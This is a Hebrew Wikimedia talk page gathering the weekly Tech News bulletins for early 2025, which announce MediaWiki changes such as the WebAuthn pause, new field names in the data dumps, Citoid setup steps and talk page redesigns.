* [[File:Octicons-tools.svg|12px|link=|class=skin-invert|דיווח טכני]] אתרי ויקי של קרן ויקימדיה מאפשרים בדיקות כפולות, דוגמת תוקנים בחומרה, בזמן ההתחברות לחשבון באמצעות [[w:en:WebAuthn|WebAuthn]]. אבל הכלי הזה [[m:Community Wishlist Survey 2023/Miscellaneous/Fix security key (WebAuthn) support|שביר]] ויש לו מעט מאוד משתמשים. צוות הפלטפורמה של הקרן מונע זמנית יצירת מפתחות חדשים ב-WebAuthn כדי למנוע התנגשות במהלך פריסת ה-[[mw:MediaWiki Platform Team/SUL3|SUL3]], מערכת להתחברות אחידה בגרסתה השלישית. המפתחות הקיימים לא ייפגעו. [https://phabricator.wikimedia.org/T378402]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:30|התקלה שדווחה|כל {{formatnum:30}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''

* על המפתחים המשתמשים ב[[wikitech:Data Platform/Data Lake/Edits/MediaWiki history dumps|דאמפים ההיסטוריים]] של מדיה-ויקי לדעת שצוות הנדסת פלטפורמט הנתונים הוסיף מספר שדות חדשים כדי להתאים ליוזמת [[mw:Special:MyLanguage/Trust and Safety Product/Temporary Accounts|החשבונות הזמניים]]. מי שתומך בתוכנה הקוראת את הדאמפים הללו יצטרכו לבדוק את הקוד שלהם ואת התיעוד המעודכן מכיוון שסדר השדות ישתנה. יהיה גם שינוי שם אחד, בדאמפ &lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;mediawiki_user_history&lt;/code&gt;&lt;/bdi&gt; השדה &lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;anonymous&lt;/code&gt;&lt;/bdi&gt; ייקרא מעכשיו &lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;is_anonymous&lt;/code&gt;&lt;/bdi&gt;. השינויים ייכנסו לתוקף בפרסום הדאמפים הבא בפברואר. [https://lists.wikimedia.org/hyperkitty/list/wikitech-l@lists.wikimedia.org/thread/LKMFDS62TXGDN6L56F4ABXYLN7CSCQDI/] 

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/05|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W05&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 00:15, 28 בינואר 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28149374 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 06 ==

&lt;section begin=&quot;technews-2025-W06&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/06|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* העורכים המשתמשים בסרגל הכלים &quot;תווים מיוחדים&quot; בעורך קוד מקור או &quot;Ω&quot; בעורך החזותי יכולים לראות עכשיו 32 תווים מיוחדים שנעשה בהם שימוש לאחרונה במהלך העריכות באתר ויקי נוכחי. השינוי יעזור למצוא במהירות את התווים בהם משתמשים יותר מאחרים. [https://phabricator.wikimedia.org/T110722]
* העורכים המשתמשים בעורך קוד מקור יכולים עכשיו ליצור תת-רשימות עם הזחה נכונה באמצעות הדגשת השורה או השורות ולחיצה על הכפתורים בסרגל הכלים.[https://phabricator.wikimedia.org/T380438] מעכשיו ניתן גם להוסיף תגי &lt;code&gt;&lt;nowiki&gt;&lt;code&gt;&lt;/nowiki&gt;&lt;/code&gt; באמצעות כפתור חדש בסרגל הכלים.[https://phabricator.wikimedia.org/T383010] תודה למשתמש stjn  על השיפורים הללו.
* יש צורך בעזרה כדי לוודא ש[[mw:Special:MyLanguage/Citoid/Enabling Citoid on your wiki|יוצר הקישורים]] פועל בצורה תקינה בכל אתרי ויקי.
** 1. המפעילים צריכים לעדכן את הגרסאות המקומיות של הדף &lt;code dir=ltr&gt;MediaWiki:Citoid-template-type-map.json&lt;/code&gt; כדי להוסיף ערכים עבור &lt;code dir=ltr&gt;preprint&lt;/code&gt;, &lt;code dir=ltr&gt;standard&lt;/code&gt; ו-&lt;code dir=ltr&gt;dataset&lt;/code&gt;. ניתן לראות השוואות לדוגמה להעתקה עבור &lt;code dir=ltr&gt;preprint&lt;/code&gt; [https://en.wikipedia.org/w/index.php?title=MediaWiki%3ACitoid-template-type-map.json&amp;diff=1189164774&amp;oldid=1165783565 כאן] ועבור &lt;code dir=ltr&gt;standard&lt;/code&gt; ו-&lt;code dir=ltr&gt;dataset&lt;/code&gt; [https://en.wikipedia.org/w/index.php?title=MediaWiki%3ACitoid-template-type-map.json&amp;diff=1270832208&amp;oldid=1270828390 כאן].
** 2א'. אם חסר מיפוי הציטואיד בתבניות הציטוט לסוגים שונים של הערות השוליים, [[mediawikiwiki:Citoid/Enabling Citoid on your wiki#Step 2.a: Create a 'citoid' maps value for each citation template|יש להוסיף אותו]].&lt;br/&gt;2ב'. אם המיפוי קיים יש לעדכן את TemplateData כדי להוסיף שדות חדשים. ניתן לראות דוגמאות עבור &lt;code&gt;preprint&lt;/code&gt; [https://en.wikipedia.org/w/index.php?title=Template%3ACitation%2Fdoc&amp;diff=1270829051&amp;oldid=1262470053 כאן] ועבור &lt;code&gt;standard&lt;/code&gt; ו-&lt;code&gt;dataset&lt;/code&gt; [https://en.wikipedia.org/w/index.php?title=Template%3ACitation%2Fdoc&amp;diff=1270831369&amp;oldid=1270829480 כאן]. השדות החדשים שייתכן שיצטרכו תמיכה הם &lt;code dir=ltr&gt;archiveID&lt;/code&gt;, &lt;code dir=ltr&gt;identifier&lt;/code&gt;, &lt;code dir=ltr&gt;repository&lt;/code&gt;, &lt;code dir=ltr&gt;organization&lt;/code&gt;, &lt;code dir=ltr&gt;repositoryLocation&lt;/code&gt;, &lt;code dir=ltr&gt;committee&lt;/code&gt; ו-&lt;code dir=ltr&gt;versionNumber&lt;/code&gt;. [https://phabricator.wikimedia.org/T383666]
* אתר ויקי חדש אחד נוצר: {{int:project-localized-name-group-wikipedia/he}} בשפת [[d:Q15637215|קנורי המרכזית]] ([[w:knc:|&lt;code&gt;w:knc:&lt;/code&gt;]]) [https://phabricator.wikimedia.org/T385181]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:27|התקלה שדווחה|כל {{formatnum:27}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. לדוגמה, [[mediawikiwiki:Special:MyLanguage/Help:Extension:Wikisource/Wikimedia OCR|OCR]], הכלי לזיהוי תווים, בו נעשה שימוש בוויקיטקסט, תומך מעכשיו בשפה חדשה, סלאבית כנסייתית. [https://phabricator.wikimedia.org/T384782]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/06|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W06&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 02:09, 4 בפברואר 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28203495 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 07 ==

&lt;section begin=&quot;technews-2025-W07&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/07|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''

* המועצה המייעצת למוצר וטכנולוגיה (PTAC) פרסמה את [[m:Special:MyLanguage/Product and Technology Advisory Council/February 2025 draft PTAC recommendation for feedback|טיוטת המלצותיו]] של מדור המוצר והטכנולוגיה של קרן ויקימדיה. היא ממליצה להתמקד ב[[m:Special:MyLanguage/Product and Technology Advisory Council/February 2025 draft PTAC recommendation for feedback/Mobile experiences|חווית הניידים]], במיוחד בתרומות, ומבקשת מהקהילה [[m:Talk:Product and Technology Advisory Council/February 2025 draft PTAC recommendation for feedback|להשאיר משוב בדף השיחה]] עד ל-21 בפברואר.

'''עדכונים לעורכים'''
* קישור ה[[w:he:פורטלט|פורטלט]] &quot;דפים מיוחדים&quot; יועבר מהתפריט &quot;כלים&quot; לפרק הניווט בתפריט הראשי בצד, כברירת מחדל. השינוי מעשה מכיוון שתפריט הכלים מיועד לכלים הקשורים לדף הנוכחי, לא לאלו הקשורים לאתר כולו, כך שהגיוני יותר ועקבי יותר להעבירו משם. כדי לשנות את ההתנהגות הזאת ולעדכן את סגנונות ה-CSS המפעילים יכולים למלא אחר ההוראות בדף [[phab:T385346|T385346]] בפבריקטור. [https://phabricator.wikimedia.org/T333211]
* כחלק מהעבודה הנעשית השנה בתחום שיפור הדרכים בהן הקוראים מגלים תוכן באתרי ויקי, צוות הרשת יבצע ניסוי עם מספר קטן של קוראים שיציג להם המלצות קשורות או ערכים מעניינים בשורת החיפוש. מידע נוסף מופיע ב[[mw:Special:MyLanguage/Reading/Web/Content Discovery Experiments#Experiment 1: Display article recommendations in more prominent locations, search|דף המיזם]].
* [[File:Octicons-tools.svg|12px|link=|class=skin-invert|דיווח טכני]] עורכי התבניות המשתמשים ב-TemplateStyles יכולים עכשיו לשנות את התצוגה עבור דרישות נגישות מגוונות בשאילתות מדיה (&lt;span style=&quot;white-space: nowrap;&quot;&gt;&lt;code dir=ltr&gt;[https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion prefers-reduced-motion]&lt;/code&gt;&lt;/span&gt;, &lt;span style=&quot;white-space: nowrap;&quot;&gt;&lt;code dir=ltr&gt;[https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-transparency prefers-reduced-transparency]&lt;/code&gt;&lt;/span&gt;, &lt;span style=&quot;white-space: nowrap;&quot;&gt;&lt;code dir=ltr&gt;[https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-contrast prefers-contrast]&lt;/code&gt;&lt;/span&gt; ו-&lt;span style=&quot;white-space: nowrap;&quot;&gt;&lt;code dir=ltr&gt;[https://developer.mozilla.org/en-US/docs/Web/CSS/@media/forced-colors forced-colors]&lt;/code&gt;&lt;/span&gt;). תודות למשתמש Bawolff על השיפור הזה. [https://phabricator.wikimedia.org/T384175]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:22|התקלה שדווחה|כל {{formatnum:22}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. לדוגמה, יומן החסימות הגלובליות יופיע מעכשיו בדף {{#special:CentralAuth}}, בדומה לנעילות הגלובליות, כדי להקל את העבודה של הדיילים. [https://phabricator.wikimedia.org/T377024]

'''עדכונים לעורכים הטכניים'''
* ויקינתונים תומכים מעכשיו ב[[d:Special:MyLanguage/Help:Default values for labels and aliases|שפה מיוחדת חדשה, &quot;ברירת מחדל לכל השפות&quot;]] עבור תוויות ושמות נרדפים. זה נעשה כדי למנוע שכפול מידע זהה לשפות מרובות. אם שאילתות ויקינתונים שלכם משתמשות בתוויות, יש סיכוי שתצטרכו לעדכן אותן כתוצאה מהסרת חלק מהתוויות הקיימות. [https://phabricator.wikimedia.org/T312511]
* הפונקציה &lt;code dir=&quot;ltr&quot;&gt;getDescription&lt;/code&gt; נקראת בכל קריאת דף ויקי ותופסת בסביבות 2.5% מזמן טעינת הדף. הערך שחושב יישמר מעכשיו במטמון כדי להוריד את העומס על שרתי ויקימדיה. [https://phabricator.wikimedia.org/T383660]
* כחלק מ[[mw:RESTBase/deprecation|המאמץ]] לאיסור השימוש ב-RESTBase נסגרה ב-6 בפברואר השנה נקודת הקצה &lt;code dir=&quot;ltr&quot;&gt;/page/related&lt;/code&gt; והיא תוסר בקרוב. לוח הזמנים נקבע כדי להתאים למועדי הפסקת התמיכה בגרסאות הישנות של Android ושל iOS. האלטרנטיבה היציבה היא פעולת &quot;&lt;code dir=&quot;ltr&quot;&gt;morelike&lt;/code&gt;&quot; של API במדיה-ויקי. ניתן לקרוא [[gerrit:c/mediawiki/services/mobileapps/+/982154/13/pagelib/src/transform/FooterReadMore.js|דוגמת מעבר]]. צוות הממשקים של מדיה-ויקי [[phab:T376297|יענה]] על השאלות. [https://lists.wikimedia.org/hyperkitty/list/wikitech-l@lists.wikimedia.org/thread/GFC2IJO7L4BWO3YTM7C5HF4MCCBE2RJ2/]

'''לעומק'''

* הרבעון החדש של [[mw:Special:MyLanguage/Wikimedia Language and Product Localization/Newsletter/2025/January|עיתון השפה והלוקליזציה]] זמין עכשיו. הוא כולל עדכונים לגבי תפריט התרומות, פרטים על אתרי ויקיפדיה חדשים בשפות שונות, פרטים על השפות החדשות הנתמכות בידי ממשק מדיה-ויקי, עדכונים על רשימות הנבנות בידי הקהילה, ועוד. 
* הגיליון החדש של [[mw:Extension:Chart/Project/Updates#January 2025: Better visibility into charts and tabular data usage|עיתון מיזם ה-Chart]] זמין עכשיו. הוא כולל עדכונים על ההתקדמות לקראת הגברת הנראות של השימוש הגלובלי בגרפים ותמיכה בקטגוריות לדפים במרחב Data בוויקישיתוף.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/07|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W07&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 02:12, 11 בפברואר 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28231022 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 08 ==

&lt;section begin=&quot;technews-2025-W08&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/08|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* הקהילות המשתמשות במערכת Growth יכולות עכשיו לפרסם אירוע אחד בדף &lt;code&gt;{{#special:Homepage}}&lt;/code&gt;, או &quot;מיוחד:דף הבית&quot;, עבור העורכים החדשים. זה יעזור להם לקבל מידע על פעוילויות עריכה שבהן יוכלו להשתתף. המפעילים יכולים ליצור אירוע חדש להצגה בדף &lt;code&gt;{{#special:CommunityConfiguration}}&lt;/code&gt;, או &quot;מיוחד:תצורת קהילה&quot;. לפרטים נוספים ניתן לקרוא [[diffblog:2025/02/12/community-updates-module-connecting-newcomers-to-your-initiatives/|בפוסט ב-Diff]] וב[[mw:Special:MyLanguage/Help:Growth/Tools/Community updates module|תיעוד]], או לפנות ל[[mw:Talk:Growth|צוות Growth]].

'''עדכונים לעורכים'''
[[File:Page Frame Features on desktop.png|thumb|מודגשים השיפורים בדפי השיחה]]
* החל מהשבוע הבא דפי השיחה בחלק מאתרי ויקי יקבלו [[diffblog:2024/05/02/making-talk-pages-better-for-everyone/|עיצוב חדש]]. הרשימה כוללת את האתרים הבאים: {{int:project-localized-name-eswiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-frwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-itwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-jawiki/he}}. השינוי נבדק בצורה רחבה כתכונת בטא ומהווה צעד אחרון ב[[mw:Special:MyLanguage/Talk pages project/Feature summary|שיפורי דפי השיחה]]. [https://phabricator.wikimedia.org/T379102]
* מעכשיו ניתן לנווט לתצוגת דף הפניה ישירות מדפי הפעולה שלו, דוגמת היסטוריית העריכות. עד כה הקישורים עברו ישירות ליעד ההפניה. השינוי הזה אמור לעזור לעורכים שעובדים הרבה עם הפניות. תודות ל-stjn על השיפור הזה. [https://phabricator.wikimedia.org/T5324]
* כאשר נעשה שימוש מחדש בהערות שוליים, הרבה פעמים אתרי ויקי מראים מספרים דוגמת &quot;1.23&quot; או אותיות מקומיות בתור קישורים להערות. עד כה אם היו כל כך הרבה שימושים שהאותיות נגמרו הוצגה [[MediaWiki:Cite error references no backlink label|הודעת שגיאה]]. כחלק מהעבודה ל[[MediaWiki:Cite error references no backlink label|פיתוח העבודה עם מקורות]], הודעת השגיאה לא תוצג יותר ובמקום זאת יופיעו  מספרים דוגמת &quot;1.23&quot; לאחר שלא יהיו יותר אותיות.
* רשומות יומן לכל שינוי בקבוצות המשתמש מובנות יותר עכשיו, כי הן התחילו להציג מה בדיוק השתנה, במקום רשימות הקבוצות לפני ואחרי שהיו עד כה. המתרגמים יכולים [[phab:T369466|לעזור בעדכון ההודעות המקומיות]]. תודות ל-Msz2001 על השיפורים הללו.
* מסנן חדש יתווסף לכלי [[{{#special:Nuke}}]], או &quot;מיוחד:מחיקה מרובה&quot;, המאפשר למפעילים למחוק דפים רבים בבת אחת, כדי לאפשר לסנן דפים לפי גודל בבטים. זה יאפשר, למשל, למחוק דפים בעלי גודל מקסימלי נבחר. [https://phabricator.wikimedia.org/T378488]
* המשתמשים מחוץ לקבוצת המפעילים יכולים עכשיו לקבל רשימת דפים שהכלי [[{{#special:Nuke}}]] יכול למחוק. תודות ל-MolecularPilot על השיפורים כאן ובסעיף הקודם. [https://phabricator.wikimedia.org/T376378]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:25|התקלה שדווחה|כל {{formatnum:25}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקן הבאג בקונפיגורציית קבצי הווידאו AV1, ושוב ניתן לנגן אותם. [https://phabricator.wikimedia.org/T382193]

'''עדכונים לעורכים הטכניים'''
* המערכת Parsoid Read Views תפרס בשבועות הקרובים ברוב אתרי ויקימילון, לאחר ההצלחה באתרי ויקימסע בשנה שעברה. לפרטים נוספים ניתן לקרוא את [[mw:Special:MyLanguage/Parsoid/Parser Unification|דף המיזם של איחוד Parsoid ו-Parser]].&amp;rlm; [https://phabricator.wikimedia.org/T385923][https://phabricator.wikimedia.org/T371640]
* מפתחי כלים הרצים על אתרי ויקי יכולים להווכח כי &lt;code dir=ltr&gt;mw.Uri&lt;/code&gt; התיישן. הכלים שדורשים את &lt;code dir=ltr&gt;mw.Uri&lt;/code&gt; צריכים להצהיר במפורש על השימוש ב-&lt;code dir=ltr&gt;mediawiki.Uri&lt;/code&gt; ברשימת התלויות של ResourceLoader, ובקרוב לעבור ל-API &lt;code dir=ltr&gt;URL&lt;/code&gt; של הדפדפן. [https://phabricator.wikimedia.org/T384515]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/08|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W08&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 23:17, 17 בפברואר 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28275610 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 09 ==

&lt;section begin=&quot;technews-2025-W09&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/09|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* המפעילים יכולים עכשיו לבחור כיצד [[m:Special:MyLanguage/User language|בבל]] יוצר קטגוריות באמצעות הדף [[{{#special:CommunityConfiguration/Babel}}]] (מיוחד:תצורת קהילה/Babel). ניתן לשנות שם לקטגוריות לשוניות, לבחור האם ליצור אותן אוטומטית ולקבוע הגדרות אחרות. [https://phabricator.wikimedia.org/T374348]
* הפורטל &lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[https://www.wikimedia.org/ wikimedia.org]&lt;/bdi&gt; עודכן, והוא מקבל כמה עדכונים בעבודה, כל זאת כדי לשפר את הגישה לדפי הפורטל שלנו ולהפוך אותה לעכשווית יותר. זה כולל תמיכה טובה יותר במבנה הדף בניידים, ניסוחים וקישורים משופרים ותמיכת שפות משודרגת. כמו כן, כל הפורטלים של מיזמי ויקימדיה, דוגמת &lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[https://wikibooks.org wikibooks.org]&lt;/bdi&gt;, תומכים עכשיו במצב כהה כשהמשתמשים בוחרים להדליק אותו במערכת. [https://phabricator.wikimedia.org/T373204][https://phabricator.wikimedia.org/T368221][https://meta.wikimedia.org/wiki/Project_portals]
* אתר ויקי אחד חדש נוצר: {{int:project-localized-name-group-wiktionary/he}} בשפת [[d:Q33965|סנטלי]] ([[wikt:sat:|&lt;code&gt;wikt:sat:&lt;/code&gt;]]) [https://phabricator.wikimedia.org/T386619]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:30|התקלה שדווחה|כל {{formatnum:30}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. לדוגמה, תוקן הבאג שמנע לחיצה על תוצאות החיפוש בממשק הרשת בכמה סוגי ניידים. [https://phabricator.wikimedia.org/T381289]

'''פגישות ואירועים'''
* הפגישה הבאה של ועדת הלשון תתקיים ב-28 בפברואר ב-[https://zonestamp.toolforge.org/1740751200 14:00 UTC] (או 16:00 לפי שעון ישראל). הפגישה תכלול הדגשים ועדכונים טכניים על מקלדת וכלים ב[[w:he:שפות סאמיות|שפות סאמיות]], תרומות באתר Translatewiki.net של קהילת [[w:en:Lampung language|בהאסה למפונג]] מאינדונזיה, וגם שאלות ותשובות טכניות. המעוניינים להצטרף מוזמנים להרשם ב[[mw:Wikimedia Language and Product Localization/Community meetings#28 February 2025|דף ויקי הזה]].

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/09|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W09&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 02:41, 25 בפברואר 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28296129 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 10 ==

&lt;section begin=&quot;technews-2025-W10&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/10|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* כל העורכים המחוברים לחשבון המשתמשים בניידים יכולים עכשיו לערוך דפים שלמים. הקישור &quot;{{int:Minerva-page-actions-editfull}}&quot; מופיע בתפריט &quot;{{int:minerva-page-actions-overflow}}&quot; שבסרגל. קודם רק אלו שהדליקו את [[mw:Special:MyLanguage/Reading/Web/Advanced mobile contributions|מצב העריכה המתקדם בנייד]] יכלו לראות את הקישור. [https://phabricator.wikimedia.org/T387180]
* עורכי הממשק יכולים עכשיו לעזור להסיר את קוד ה-CSS שהוצא משימוש בצורת &quot;&lt;code dir=&quot;ltr&quot;&gt;mw-ref&lt;/code&gt;&quot; מהדף המקומי &quot;&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[MediaWiki:Common.css]]&lt;/bdi&gt;&quot;. ניתן לראות רשימת אתרי ויקי הדורשים תיקון [https://global-search.toolforge.org/?q=mw-ref%5B%5E-a-z%5D&amp;regex=1&amp;namespaces=8&amp;title=.*css באמצעות חיפוש גלובלי], ואת הקוד להסרה ב[https://ace.wikipedia.org/w/index.php?title=MediaWiki:Common.css&amp;oldid=145662#L-139--L-144 דוגמה הזאת]. ניתן גם ללמוד יותר על הדרכים לסייע ב[[mw:Parsoid/Parser Unification/Cite CSS|דף מיזם המעבר של CSS]]. סמני הערות השוליים של Cite (למשל, &quot;&lt;code dir=&quot;ltr&quot;&gt;[1]&lt;/code&gt;&quot;) נקראים עכשיו בידי [[mw:Special:MyLanguage/Parsoid|הפרסואיד]] ובקוד שהוצא משימוש אין יותר צורך. ה-CSS עבור קישורים חזרה (&quot;&lt;code dir=&quot;ltr&quot;&gt;mw:referencedBy&lt;/code&gt;&quot;) צריך להשאר במקומו נכון לעכשיו. הנקיון הזה לא צפוי לגרום לשינויים ויזואליים לקוראים. אנא עזרו להסיר את הקוד המדובר עד ל-20 במרץ, ולאחר מכן צוות הפיתוח יסיר בעצמו את מה שנשאר.
* כאשר עורכים מוסיפים קובץ (למשל, &lt;code&gt;&lt;nowiki&gt;[[File:MediaWiki.png]]&lt;/nowiki&gt;&lt;/code&gt;) לדף שמוגן בהגנה מתגלגלת התוכנה לא תמנע יותר עריכות לדף התיאור של הקובץ, רק את ההעלאות מחדש.[https://phabricator.wikimedia.org/T24521] לעומת זאת, הוספת דף התיאור של הקובץ (למשל, &lt;code&gt;&lt;nowiki&gt;{{:File:MediaWiki.png}}&lt;/nowiki&gt;&lt;/code&gt;) תגביל מעכשיו את העריכות בדף.[https://phabricator.wikimedia.org/T62109]
* שחזור קבצים לגרסה ישנה יותר ידרוש מעכשיו את אותן ההרשאות כמו העלאות גרסאות חדשות לקבצים. התוכנה תבדוק את קיום ההרשאות &quot;reupload&quot; או &quot;reupload-own&quot;&amp;rlm;,[https://phabricator.wikimedia.org/T304474] ותכבד את ההגנה המתגלגלת.[https://phabricator.wikimedia.org/T140010]
